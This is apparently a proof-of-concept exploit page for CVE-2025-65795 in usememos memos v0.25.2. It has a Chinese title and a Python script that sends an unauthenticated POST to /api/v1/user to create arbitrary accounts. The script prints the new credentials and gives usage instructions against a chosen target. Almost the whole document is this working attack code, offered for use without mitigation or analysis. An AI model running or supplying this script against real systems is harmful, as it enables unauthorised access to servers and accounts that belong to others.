CVE-2025-65795 usememos memos v0.25.2 访问控制错误导致任意账户创建漏洞

# CVE-2025-65795 PoC - usememos arbitrary account creation # Target: usememos memos v0.25.2 # Endpoint: /api/v1/user import requests import json import sys def create_arbitrary_user(target_url, username, password): """ Exploit for CVE-2025-65795: Incorrect Access Control in /api/v1/user endpoint Allows unauthorized attackers to create arbitrary accounts. """ endpoint = f"{target_url.rstrip('/')}/api/v1/user" # Crafted request payload for arbitrary account creation payload = { "username": username, "password": password, "nickname": username, "email": f"{username}@attacker.com" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Target: {target_url}") print(f"[*] Attacking endpoint: {endpoint}") print(f"[*] Creating account: {username}") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: data = response.json() if data.get('code') == 0 or 'id' in data: print(f"[+] SUCCESS: Account '{username}' created successfully!") print(f"[+] Username: {username}") print(f"[+] Password: {password}") return True print(f"[-] FAILED: Could not create account") return False except requests.exceptions.RequestException as e: print(f"[-] ERROR: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-65795.py <target_url> <username> <password>") print("Example: python cve-2025-65795.py http://target.com:5230 attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] create_arbitrary_user(target, user, pwd)